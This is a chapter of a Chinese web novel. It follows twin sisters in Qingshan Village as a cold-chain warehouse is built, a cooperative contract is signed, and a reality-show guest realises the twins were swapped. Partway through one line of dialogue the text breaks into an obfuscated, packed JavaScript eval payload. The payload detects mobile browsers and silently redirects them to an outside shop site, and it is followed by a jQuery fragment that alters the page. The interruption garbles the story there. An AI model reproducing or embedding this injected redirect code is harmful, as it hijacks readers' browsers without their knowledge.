青山村的第三天,云瑶终于起了个大早。
天还没亮透,老梨树上的鸟刚开始叫,厨房里就已经飘出小米粥的香气。
云母在灶台边搅着粥锅,周妄蹲在院子里修那把昨天被方领队不小心坐坏的竹椅,沈绥站在屋外的水槽边洗漱。
云瑶趿着拖鞋从楼上下来,经过厨房门口时被云母往嘴里塞了半个刚出锅的南瓜饼,烫得龇牙咧嘴。
云羡端着碗筷从厨房里走出来,把碗筷在石桌上一一摆好:“今天上午冷链工程师要去看集货点,方领队带品控团队去后山取水样,下午沈总跟合作社签正式合同。”
云羡把任务分配完毕,端起自己那碗粥喝了一口。
云父听见冷链工程师要去集货点,赶紧把杯子搁下:“集货点那边我已经让合作社的人提前清理过了,冷库的地基也打好了,就等施工队进场。”
方领队带着助理走过来,采样箱已经拎在手里,看见云父便推了推眼镜:“云老师,今天要去后山取水样,听说那边的山泉是合作社的灌溉水源?我们也需要取样检测。”
云父连连点头:“我带你们去,那条山路我熟。”
上午的青山村热闹得像过节。
冷链工程师是个三十出头的年轻人,戴着安全帽蹲在合作社仓库后面的空地上,拿测绘仪对着冷库地基反复校准。
几个村民围在旁边看热闹,刘婶端着一簸箕刚晒好的红薯干挤到最前面,好奇问云羡:“羡羡,这个冷库建好了,咱们的香菇就能直接送到城里大超市了?”
云羡蹲在测绘仪旁边,帮工程师扶着标尺:“能,以后不用等批发商来收,你们摘下来的鲜菇直接进冷库,冷链车每周来两次,从村里直接发到城里的生鲜平台。”
刘婶脸上笑出了花,端着簸箕又挤出去,边走边朝村口喊:“老李!听到没有!以后不用求你那个压价的破批发商了!”
云瑶在旁边看着他们脸上洋溢的笑容,不自觉跟着笑了起来:“姐,你之前在桃花村的时候,是不是也是我现在的心情啊?”
云羡挑眉:“你现在什么心情?”
云瑶仔细想了一下:“感动,开心,苦尽甘来,日子好像有了盼头。”
云羡点了点头,嘴角却没什么笑意:“嗯,苦尽甘来,我们青山村碰上了沈绥,苦日子总算熬出头了。”
“可全国有多少个村子能有我们这样的运气?那些地方也许比我们还落后,路是看不到的,网络是断的,快递都不通,更不要说建冷库、做品牌、注册商标。”
“我们熬过来了是因为我们撑住了,也因为我们运气好,碰上了愿意帮我们的人,可那些没有运气的地方呢?那里的人也在种地,也在想明年会不会好一点。”
“他们就这样等、盼,明年,后年,大后年,日复一日,也许盼了十年,盼来的还是那条破路,盼来的还是那小小的闭塞的村子。”
“希望《归田园居》可以让更多有能力的人真正愿意加入扶贫的队伍里吧。”
云瑶:“会的,人心齐,泰山移。”
云羡笑了笑,摇了摇头:“难的就是人心啊。”
后山上,方领队带着助理在溪流边取水样,云父站在旁边,指着上游的泉眼说那是合作社灌溉的主要水源,水质好,种出来的香菇菌盖厚实。
方领队把水样装进采样瓶,贴好标签,抬头看了看周围茂密的松林,说:“这里的生态环境确实比桃花村好一个等级。”
云父笑得满脸褶子。
下午的合同签约在合作社会议室举行。
说是会议室,其实就是菌种实验室隔壁一间收拾干净的库房,长桌是云父临时从食堂搬过来的。
沈绥坐在长桌一侧,面前摆着两份打印好的文件,一份是青山村产地对接正式合同,一份是VIA助农事业部与青山村合作社的长期战略合作协议。
云羡作为合作社法人代表坐在他对面,翻开合同逐条核对。
会议室里除了他们俩,还有云父方领队和几个合作社的骨干社员,云瑶也被云父拉来旁听,周妄坐在角落里。
合同签完,云瑶鼓起掌来,被云父瞪了一眼赶紧改成握手。
几个社员围上来跟沈绥握手,手掌粗糙有力,握得他手背发红。
沈绥一一回握,“以后合作愉快。”
云瑶从会议室溜出来,准备去厨房帮云母把提前冰好的酸梅汤端过来给大家解暑。
她刚拐过合作社的墙角,迎面撞上一个戴着棒球帽,背着吉他的女人。
四目相对,对方先开了口:“云瑶。”
云瑶下意识应了一声:“哎。”
闻言,杜泪眯起眼,盯着她看了好一会儿。
云瑶被这目光钉在原地,脑子里警报狂响。
她认识这个人。
杜泪,沈绥的表妹,更重要的是,她是《归园》的常驻嘉宾,跟她姐在桃花村一起待了二十天。
她好像跟她姐很熟,可是她跟她不熟啊!
杜泪把棒球帽往上一推,露出那双写满笃定的眼睛:“你不是云瑶。”
云瑶突然干笑了一声,强装镇定道:“啊对,你说得对,我不是云瑶,我是云瑶的姐姐云羡!”
杜泪再度眯起眼,然后她从口袋里掏出手机,点开微信,当着云瑶的面发了一条语音消息。
语音发送没一分钟,身后合作社会议室的门就被推开了。
云羡从里面走出来,手里的手机屏幕亮着,显示着杜泪刚发来的消息。
她抬头看见杜泪站在院子里,棒球帽推到脑门上,双手抱胸,身边还站着个表情心虚到极点的云瑶。
三个人一时间都没说话,气氛有一时的僵硬。
云羡身后又传来脚步声,沈绥从会议室里走出来,他看见院子里三个人僵持的阵型:杜泪抱胸挑眉像来讨债的,云瑶眼神躲闪像被讨债的,云羡站在原地揉了揉眉心像和事佬。
杜泪见到沈绥,斜了他一眼,然后轻哼了一声:“所以真的是像网上推测的那样,是双胞胎?在桃花村的那个一直都是姐姐?”
“你刚知道?”沈绥微微挑了下眉。
“不然呢?”杜泪把棒球帽摘下来,在手里转了一圈,语气里带着几分被蒙在鼓里的不爽,“我要是早知道,在桃花村那二十天就不光记野菜笔记了,我连
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664389|202160||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你们姐妹俩的对比观察报告都能写出来。”
她转向云瑶,上下打量了一番,然后朝云羡的方向偏了偏头:“你姐在桃花村修屋顶的时候不用人扶梯子,赶母猪的时候用竹竿敲两下地面母猪就乖乖回圈,你行吗?”
云瑶眨了眨眼,老实回答:“不行,我连鸡都怕。”
杜泪满意点了点头,把棒球帽重新扣回头上,朝云羡说:“你妹比你诚实。”
云羡:....
杜泪:“我就说第一天见到的时候就不对劲,云瑶在圈内的标签是花瓶,但你一来就教我怎么认马齿苋,我当时觉得这个花瓶是不是被雷劈了,怎么突然什么都会。”
“现在真相大白了,压根就不是同一个人,所以——”她朝云羡伸出手,掌心朝上,“赔偿。”
“什么赔偿?”
“精神损失费。”
“怎么赔?”
没等杜泪说出口,沈绥从旁边伸出手,不轻不重拍了下她的后脑勺。
杜泪捂着后脑勺转头瞪他,“你干什么啊!”
沈绥冷笑:“敲诈勒索,你既然大老远从京市跑过来,那现在就过来帮忙。”
杜泪摘下棒球帽朝沈绥扔了过去:“谁要听你安排啊!我发现你这个人挺好笑的,这里是你的地盘吗?你就安排,我不是来干活的!我是来送温暖的!”
“送温暖?”沈绥接住棒球帽,“你一个人?”
“谁说我一个人。”杜泪朝身后努了努下巴。
不远处的小径里,林一回肩上扛着个大编织袋:“好累啊——这山路怎么比桃花村的还长——”
他身后跟着梁硕,步伐不紧不慢,“你怎么还那么虚,在桃花村挑粪的时候你也喊累,结果挑完了比谁都精神。”
木择和叶来跟在最后面,一人拎着两个鼓鼓囊囊的塑料袋,边走边东张西望,边说边气喘吁吁。
“哇,这里空气好好!那是什么花?好好看!”
“云老师的家乡好漂亮!”
“我觉得以后可以在这里养老。”
“这里点不到外卖,你忍得住?”
云羡看着这一队人马浩浩荡荡的涌进来,愣了一下,转头看杜泪:“他们怎么都来了?”
“我叫的,反正他们也都想来,就一起捎过来了。”
终于走到合作社门口,林一回大汗淋漓气喘吁吁的把编织袋往地上一搁,“靠!好累!好热!要化掉了!”
木择叶来同样哀嚎。
林一回原地喘了口气,看见云羡那刻眼睛都亮了。
正要朝云羡跑过去,脚刚迈出去一步,余光瞥见云羡旁边还站着一个人。
他猛地刹住脚,目光在云羡和那个人之间弹了好几个来回,嘴巴张成O:“怎、怎么回事??两个瑶瑶姐??”
木择和叶来跟在后面也傻眼了,手里的塑料袋差点掉地上。
木择指着云瑶和云羡来回看:“等一下,哪个是哪个?你们是一模一样的?”
叶来盯着姐妹俩看了好一会儿,瞪着大眼,十分认真道:“木择,是两个云老师,一个看起来会骂我干活慢,另一个看起来也会。”